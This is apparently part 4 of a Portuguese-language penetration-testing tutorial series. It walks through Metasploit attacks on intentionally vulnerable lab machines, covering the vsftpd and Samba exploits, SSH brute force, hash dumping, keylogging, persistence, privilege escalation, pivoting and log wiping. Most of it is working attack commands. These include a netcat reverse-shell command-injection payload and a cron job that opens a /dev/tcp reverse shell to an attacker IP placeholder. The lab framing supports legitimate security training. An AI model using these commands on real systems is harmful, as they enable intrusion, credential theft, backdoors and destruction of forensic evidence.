Exploração: Da Vulnerabilidade ao Shell

O Caminho do Hacker: Série de 5 Partes

Parte 1: Introdução → Parte 2: Domínio do Flipper → Parte 3: Fundamentos do Kali → Parte 4: Exploitation → Parte 5: A Auditoria Completa

Nas Partes 1-3, você construiu seu toolkit. Consegue clonar crachás, mapear redes, capturar handshakes e identificar cada serviço rodando num alvo. Agora você vê vulnerabilidades em todo lugar. Mas ver uma vulnerabilidade e explorá-la são habilidades muito diferentes.

É aqui que as coisas ficam reais. Hoje você vai aprender a usar o Metasploit Framework, a mesma ferramenta usada por penetration testers profissionais no mundo todo. Vai explorar sua primeira vulnerabilidade, estabelecer persistence, escalar privilégios e aprender a fazer pivot numa rede.

Parte 1: Montando Seu Laboratório de Ataque

Antes de explorar qualquer coisa, você precisa de alvos. Penetration testers reais usam ambientes de laboratório isolados com máquinas intencionalmente vulneráveis. Você fará o mesmo.

A Configuração Essencial do Laboratório

O Que Você Vai Precisar

• Kali Linux VM - Sua máquina de ataque (da Parte 3)
• Metasploitable 2 - VM Linux intencionalmente vulnerável (SourceForge)
• Metasploitable 3 - VM vulnerável Windows/Linux (GitHub)
• DVWA - Damn Vulnerable Web Application (GitHub)
• VulnHub VMs - Máquinas vulneráveis estilo CTF (vulnhub.com)

Projeto: Configuração da Rede do Laboratório

Tempo: 45 minutos

1. Baixe o Metasploitable 2 do SourceForge
2. Importe no VirtualBox/VMware
3. Configure a rede: Coloque tanto o Kali quanto o Metasploitable em "Host-Only" ou "Internal Network"
4. Inicie o Metasploitable (login padrão: msfadmin / msfadmin)
5. Anote o endereço IP: ifconfig
6. Do Kali, verifique a conectividade: ping METASPLOITABLE_IP
7. Execute o scan inicial: sudo nmap -sV -sC METASPLOITABLE_IP

Verificação: Você deve ver dezenas de portas abertas. O Metasploitable foi projetado para ser comprometido.

Seu scan nmap do Metasploitable deve revelar serviços como FTP, SSH, Telnet, SMTP, HTTP, Samba, MySQL, PostgreSQL e outros, muitos rodando versões desatualizadas e vulneráveis. Este é seu campo de testes.

Parte 2: Fundamentos do Metasploit Framework

Metasploit não é apenas uma ferramenta. É um ecossistema. Contém milhares de exploits, payloads, módulos auxiliares e ferramentas de post-exploitation. Entender sua estrutura é essencial.

Iniciando o Metasploit

1# Initialize the database (first time only)
2sudo msfdb init
3
4# Start Metasploit console
5msfconsole
6
7# You'll see the Metasploit banner and prompt:
8msf6 >

A Estrutura do Metasploit

O Metasploit organiza tudo em módulos:

• Exploits - Código que explora vulnerabilidades
• Payloads - Código executado após a exploração (shells, meterpreter)
• Auxiliary - Scanners, fuzzers e outros utilitários
• Post - Módulos de post-exploitation para persistence, pivoting
• Encoders - Ofuscação de payloads para evadir detecção

1# Search for modules
2msf6 > search type:exploit platform:linux smb
3
4# Search by CVE
5msf6 > search cve:2017-0144
6
7# Search by name
8msf6 > search vsftpd
9
10# Get info about a module
11msf6 > info exploit/unix/ftp/vsftpd_234_backdoor

O Fluxo de Trabalho de Exploitation

Toda exploitation no Metasploit segue o mesmo padrão:

1. Selecione um exploit - use exploit/path/to/module
2. Configure as opções - IP do alvo, portas, credenciais
3. Selecione um payload - O que roda após a exploração
4. Execute - exploit ou run

Parte 3: Seu Primeiro Exploit

Vamos explorar um dos backdoors mais famosos da história: o backdoor vsftpd 2.3.4. Em 2011, alguém inseriu um backdoor no código-fonte do vsftpd. Se você enviar um nome de usuário terminando em :), um shell abre na porta 6200.

O Metasploitable 2 roda exatamente essa versão.

1# Start Metasploit
2msfconsole
3
4# Search for the exploit
5msf6 > search vsftpd
6
7# Select the exploit
8msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
9
10# View required options
11msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options
12
13# Set the target
14msf6 exploit(...) > set RHOSTS 192.168.56.101
15
16# Run the exploit
17msf6 exploit(...) > exploit
18
19# If successful:
20[*] Command shell session 1 opened
21[+] Got shell!
22
23# You now have a root shell on the target
24whoami
25root
26id
27uid=0(root) gid=0(root)

É isso. Um serviço vulnerável, um exploit, acesso root. É por isso que manter o software atualizado importa.

Projeto: Explorar o Backdoor vsftpd

Tempo: 15 minutos

Pré-requisitos: Metasploitable 2 rodando, Kali na mesma rede

1. Verifique se o FTP está rodando: nmap -sV -p 21 TARGET_IP
2. Inicie o msfconsole
3. Procure, selecione e configure o exploit vsftpd
4. Execute o exploit
5. Após obter o shell, explore: cat /etc/shadow

Critérios de sucesso: Você consegue ler /etc/shadow, que só o root pode acessar.

Parte 4: Entendendo Payloads

Um payload é o que roda após o exploit ter sucesso. O shell básico que obtivemos acima é simples, mas o Metasploit oferece opções muito mais poderosas.

Tipos de Payload

• Singles - Payloads autônomos, de uso único (adicionar usuário, executar comando)
• Stagers - Pequenos payloads que estabelecem conexão e depois baixam o payload principal
• Stages - O payload principal baixado pelo stager (Meterpreter)

1# List compatible payloads for current exploit
2msf6 exploit(...) > show payloads
3
4# Set a specific payload
5msf6 exploit(...) > set PAYLOAD linux/x86/meterpreter/reverse_tcp
6
7# Payload naming convention:
8# platform/arch/payload_type/connection_type
9# linux/x86/meterpreter/reverse_tcp
10# windows/x64/shell/bind_tcp

Reverse vs Bind Shells

• Reverse shell - O alvo se conecta de volta a você. Melhor para contornar firewalls (saída geralmente é permitida).
• Bind shell - O alvo abre uma porta para você se conectar. Mais fácil de detectar, frequentemente bloqueado por firewalls.

1# For reverse shells, you must set your IP
2msf6 exploit(...) > set LHOST YOUR_KALI_IP
3msf6 exploit(...) > set LPORT 4444
4
5# Metasploit starts a listener automatically when you exploit

Meterpreter: O Payload Definitivo

O Meterpreter é o payload mais poderoso do Metasploit. Roda inteiramente em memória (sem arquivos no disco), fornece comunicação criptografada e inclui dezenas de comandos integrados para post-exploitation.

1# Meterpreter commands (once you have a session)
2meterpreter > sysinfo          # System information
3meterpreter > getuid           # Current user
4meterpreter > pwd              # Current directory
5meterpreter > ls               # List files
6meterpreter > download file    # Download file to Kali
7meterpreter > upload file      # Upload file to target
8meterpreter > shell            # Drop to system shell
9meterpreter > hashdump         # Dump password hashes
10meterpreter > screenshot       # Take screenshot
11meterpreter > keyscan_start    # Start keylogger
12meterpreter > keyscan_dump     # Dump keystrokes
13meterpreter > background       # Background this session

Parte 5: Mais Técnicas de Exploitation

Explorando Samba (SMB)

O Metasploitable 2 roda uma versão vulnerável do Samba. Isso é similar ao infame exploit EternalBlue usado no WannaCry.

1# Search for Samba exploits
2msf6 > search type:exploit samba
3
4# The "username map script" vulnerability
5msf6 > use exploit/multi/samba/usermap_script
6msf6 exploit(...) > set RHOSTS TARGET_IP
7msf6 exploit(...) > set PAYLOAD cmd/unix/reverse
8msf6 exploit(...) > set LHOST YOUR_IP
9msf6 exploit(...) > exploit
10
11[*] Command shell session 2 opened

Explorando Credenciais Fracas

Nem todo comprometimento requer uma vulnerabilidade de software. Senhas fracas estão em todo lugar.

1# SSH brute-force auxiliary module
2msf6 > use auxiliary/scanner/ssh/ssh_login
3msf6 auxiliary(...) > set RHOSTS TARGET_IP
4msf6 auxiliary(...) > set USERNAME root
5msf6 auxiliary(...) > set PASS_FILE /usr/share/wordlists/rockyou.txt
6msf6 auxiliary(...) > set STOP_ON_SUCCESS true
7msf6 auxiliary(...) > run
8
9# For known credentials
10msf6 > use auxiliary/scanner/ssh/ssh_login
11msf6 auxiliary(...) > set USERNAME msfadmin
12msf6 auxiliary(...) > set PASSWORD msfadmin
13msf6 auxiliary(...) > run
14
15[+] 192.168.56.101:22 - Success: 'msfadmin:msfadmin'

Exploitation de Aplicações Web

O Metasploitable inclui várias aplicações web vulneráveis. Vamos explorar uma injeção de código PHP.

1# First, browse to http://TARGET/mutillidae/
2# Find the "User Lookup" page (vulnerable to SQLi and code injection)
3
4# Use Metasploit's web exploits
5msf6 > search type:exploit php
6
7# Or exploit manually with command injection:
8# In vulnerable input field:
9; cat /etc/passwd
10; nc -e /bin/bash YOUR_IP 4444

Projeto: Explorar Três Serviços Diferentes

Tempo: 60 minutos

Alvo: Metasploitable 2

1. Explore o backdoor vsftpd (FTP - porta 21) e obtenha root shell
2. Explore o Samba usermap_script (SMB - porta 139/445) e obtenha root shell
3. Quebre credenciais SSH (porta 22) usando auxiliary/scanner/ssh/ssh_login
4. Documente cada exploitation: módulo usado, opções configuradas, resultado

Bônus: Explore as aplicações web na porta 80 e encontre vetores de exploitation manuais.

Parte 6: Post-Exploitation

Obter um shell é só o começo. Penetration tests reais exigem demonstrar o que um atacante poderia fazer com esse acesso. Isso é post-exploitation.

Coleta de Informações

1# From a Meterpreter session
2meterpreter > sysinfo
3Computer    : metasploitable
4OS          : Linux 2.6.24
5Architecture: i686
6Meterpreter : x86/linux
7
8# Network information
9meterpreter > ipconfig
10meterpreter > route
11meterpreter > arp

1# From a regular shell
2cat /etc/passwd       # All users
3cat /etc/shadow       # Password hashes (requires root)
4cat /etc/hosts        # Network mappings
5netstat -tulpn        # Open ports
6ps aux                # Running processes
7crontab -l            # Scheduled tasks

Coleta de Credenciais

1# Dump password hashes
2meterpreter > hashdump
3root:$1$XtqVHIvN$0MnR7..........:0:0:root:/root:/bin/bash
4msfadmin:$1$XN10Zj2c$Rt/zzC........:1000:1000::/home/msfadmin:/bin/bash

1# Or from shell
2cat /etc/shadow
3
4# Crack hashes offline with John the Ripper
5john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
6
7# Or hashcat (faster with GPU)
8hashcat -m 500 hashes.txt /usr/share/wordlists/rockyou.txt

Estabelecendo Persistence

Persistence significa manter o acesso mesmo após reinicializações ou quando seu vetor de exploit inicial foi corrigido.

1# Add a new user with sudo access
2useradd -m -s /bin/bash hacker
3echo "hacker:password123" | chpasswd
4usermod -aG sudo hacker
5
6# Add SSH key for passwordless access
7mkdir /home/hacker/.ssh
8echo "YOUR_PUBLIC_KEY" >> /home/hacker/.ssh/authorized_keys
9
10# Cron-based reverse shell (reconnects every minute)
11echo "* * * * * /bin/bash -c 'bash -i >& /dev/tcp/YOUR_IP/4444 0>&1'" >> /var/spool/cron/crontabs/root
12
13# Metasploit persistence module
14meterpreter > run persistence -h
15meterpreter > run persistence -X -i 60 -p 4444 -r YOUR_IP

Persistence = Evidência

Todo mecanismo de persistence deixa rastros. Num penetration test real, você documenta o que poderia fazer e depois limpa. Deixar backdoors em sistemas de clientes é antiprofissional e potencialmente ilegal. No seu laboratório, vá fundo, mas entenda as implicações.

Parte 7: Escalação de Privilégios

Frequentemente você obtém acesso inicial como um usuário de baixo privilégio. Escalar para root/admin geralmente é necessário para atingir os objetivos do teste.

Escalação de Privilégios no Linux

1# Current user context
2id
3whoami
4
5# SUID binaries (run as owner regardless of who executes)
6find / -perm -4000 -type f 2>/dev/null
7
8# World-writable directories
9find / -writable -type d 2>/dev/null
10
11# Sudo permissions
12sudo -l
13
14# Kernel version (for kernel exploits)
15uname -a
16
17# Running processes as root
18ps aux | grep root
19
20# Cron jobs
21cat /etc/crontab
22ls -la /etc/cron.*

Scripts de Enumeração Automatizados

• LinPEAS - github.com/carlospolop/PEASS-ng
• LinEnum - github.com/rebootuser/LinEnum
• linux-exploit-suggester - GitHub

1# Upload and run LinPEAS
2# From Kali, host the script:
3python3 -m http.server 8000
4
5# From target:
6wget http://YOUR_IP:8000/linpeas.sh
7chmod +x linpeas.sh
8./linpeas.sh
9
10# LinPEAS highlights potential vectors in colors:
11# RED/YELLOW = Critical findings, likely exploitable

Vetores Comuns de Privesc no Linux

1# 1. Sudo misconfiguration
2sudo -l
3# If you see: (ALL) NOPASSWD: /usr/bin/vim
4sudo vim -c '!sh'
5# Instant root shell
6
7# 2. SUID binary exploitation
8# If /usr/bin/find has SUID bit:
9find . -exec /bin/sh -p \;
10
11# 3. Writable /etc/passwd
12# Generate password hash:
13openssl passwd -1 mypassword
14# Add to /etc/passwd:
15echo 'hacker:$1$xyz$...:0:0:root:/root:/bin/bash' >> /etc/passwd
16
17# 4. Cron job exploitation
18# If a cron runs a writable script as root:
19echo 'chmod +s /bin/bash' >> /path/to/cron/script
20# Wait for cron, then:
21/bin/bash -p
22# Root shell

Escalação de Privilégios no Windows

Se estiver testando alvos Windows (Metasploitable 3), as técnicas são diferentes:

1# From Meterpreter on Windows
2meterpreter > getuid
3Server username: VICTIM\lowpriv_user
4
5meterpreter > getsystem
6[+] ...got SYSTEM
7
8# If getsystem fails, try:
9meterpreter > run post/multi/recon/local_exploit_suggester
10
11# Or background and use specific exploit:
12meterpreter > background
13msf6 > use exploit/windows/local/ms16_032_secondary_logon_handle_privesc
14msf6 exploit(...) > set SESSION 1
15msf6 exploit(...) > exploit

Projeto: Escalar de Usuário para Root

Tempo: 45 minutos

Cenário: Você tem acesso SSH ao Metasploitable como msfadmin (não root)

1. SSH para o Metasploitable: ssh msfadmin@TARGET
2. Execute id para confirmar que não é root
3. Verifique permissões sudo: sudo -l
4. Procure binários SUID: find / -perm -4000 2>/dev/null
5. Faça upload e execute o LinPEAS
6. Identifique um vetor de privesc e explore-o

Objetivo: Obter root shell usando algo diferente de explorar um serviço de rede.

Parte 8: Pivoting

Pivoting é usar um sistema comprometido para atacar outros sistemas que não são diretamente acessíveis pela sua máquina de ataque. É assim que atacantes se movem lateralmente pelas redes.

O Cenário de Pivot

Imagine esta rede:

• Seu Kali: 192.168.1.100
• Host comprometido: 192.168.1.50 (também conectado à rede interna 10.0.0.0/24)
• Alvo: 10.0.0.10 (acessível apenas pelo 192.168.1.50)

Você não consegue alcançar 10.0.0.10 diretamente. Mas através do host comprometido, consegue.

Roteamento do Metasploit

1# After getting a Meterpreter session on the pivot host
2meterpreter > ipconfig
3# Shows two interfaces: 192.168.1.50 and 10.0.0.50
4
5meterpreter > run autoroute -s 10.0.0.0/24
6[+] Added route to 10.0.0.0/24 via session 1
7
8meterpreter > background
9
10# Now Metasploit routes 10.0.0.0/24 traffic through session 1
11msf6 > route print
12
13# Scan the internal network
14msf6 > use auxiliary/scanner/portscan/tcp
15msf6 auxiliary(...) > set RHOSTS 10.0.0.1-254
16msf6 auxiliary(...) > set PORTS 22,80,443,445
17msf6 auxiliary(...) > run
18
19# Exploit internal targets through the pivot
20msf6 > use exploit/windows/smb/ms17_010_eternalblue
21msf6 exploit(...) > set RHOSTS 10.0.0.10
22msf6 exploit(...) > exploit

SOCKS Proxy para Acesso Completo

1# Set up a SOCKS proxy through Meterpreter
2msf6 > use auxiliary/server/socks_proxy
3msf6 auxiliary(...) > set SRVPORT 1080
4msf6 auxiliary(...) > run
5
6# Configure proxychains (/etc/proxychains4.conf)
7socks5 127.0.0.1 1080
8
9# Now any tool can access the internal network
10proxychains nmap -sT -Pn 10.0.0.10
11proxychains curl http://10.0.0.10
12proxychains ssh [email protected]

SSH Tunneling (Sem Metasploit)

1# Dynamic port forwarding (SOCKS proxy)
2ssh -D 1080 user@pivot_host
3
4# Local port forwarding (specific port)
5ssh -L 8080:10.0.0.10:80 user@pivot_host
6# Now localhost:8080 reaches 10.0.0.10:80
7
8# Remote port forwarding (expose your service to internal network)
9ssh -R 4444:localhost:4444 user@pivot_host
10# Internal hosts can reach your port 4444 via pivot_host:4444

Parte 9: Cobrindo Rastros

Penetration testers profissionais documentam seu acesso mas limpam depois. Entender como atacantes cobrem rastros também ajuda a detectar intrusões.

1# Clear bash history
2history -c
3cat /dev/null > ~/.bash_history
4
5# Clear auth logs (requires root)
6echo "" > /var/log/auth.log
7echo "" > /var/log/wtmp
8echo "" > /var/log/btmp
9
10# Remove specific log entries
11sed -i '/YOUR_IP/d' /var/log/auth.log
12
13# Timestomp (change file timestamps)
14touch -r /etc/passwd /path/to/your/file
15
16# Meterpreter
17meterpreter > clearev          # Clear Windows event logs
18meterpreter > timestomp file -m "01/01/2020 12:00:00"

Em Trabalhos Reais: Não Faça Isso

Pentesters profissionais documentam seu acesso e reportam suas descobertas. Não as escondem. Limpar logs destrói evidências que os defensores precisam para entender o caminho do ataque. Pratique estas técnicas apenas no seu ambiente de laboratório isolado.

O Caminho do Hacker

Uma série de 5 partes que leva você de curioso a capaz.

Parte 1: Introdução Parte 2: Domínio do Flipper Parte 3: Fundamentos do Kali Parte 4: Exploitation ✓ Parte 5: Auditoria Completa

Checklist da Parte 4

☐ Setup do Laboratório: Metasploitable 2 rodando, rede isolada configurada

☐ Metasploit: Banco de dados inicializado, navegação básica dominada

☐ Primeiro Exploit: Backdoor vsftpd explorado, root shell obtido

☐ Múltiplos Vetores: FTP, SMB explorados e credenciais SSH quebradas

☐ Post-Exploitation: Hashes de senha extraídos, sistema enumerado

☐ Escalação de Privilégios: Escalou de usuário para root sem exploit de rede

☐ Pivoting: Conceitos de autoroute e SOCKS proxy compreendidos

☐ Documentação: Todos os exploits documentados com passos e evidências

O Que Vem Depois

Você aprendeu a explorar vulnerabilidades, escalar privilégios e fazer pivot através de redes. Viu como rapidamente uma única fraqueza se torna um comprometimento total. Você entende o que penetration testers profissionais fazem.

Na Parte 5, juntamos tudo. Você conduzirá uma auditoria de segurança completa do início ao fim:

• Escopo e regras de engajamento
• Metodologia completa de reconhecimento
• Exploitation sistemático
• Post-exploitation abrangente
• Relatório profissional
• Recomendações de remediação

A Parte 5 é o ponto alto. Tudo que você aprendeu nesta série se une numa metodologia do mundo real que pode usar para avaliar a segurança de qualquer rede que esteja autorizado a testar.

Você aprendeu as técnicas. Agora aprende a metodologia. A Parte 5 transforma habilidades num fluxo de trabalho completo de penetration testing.

Nos vemos na Parte 5.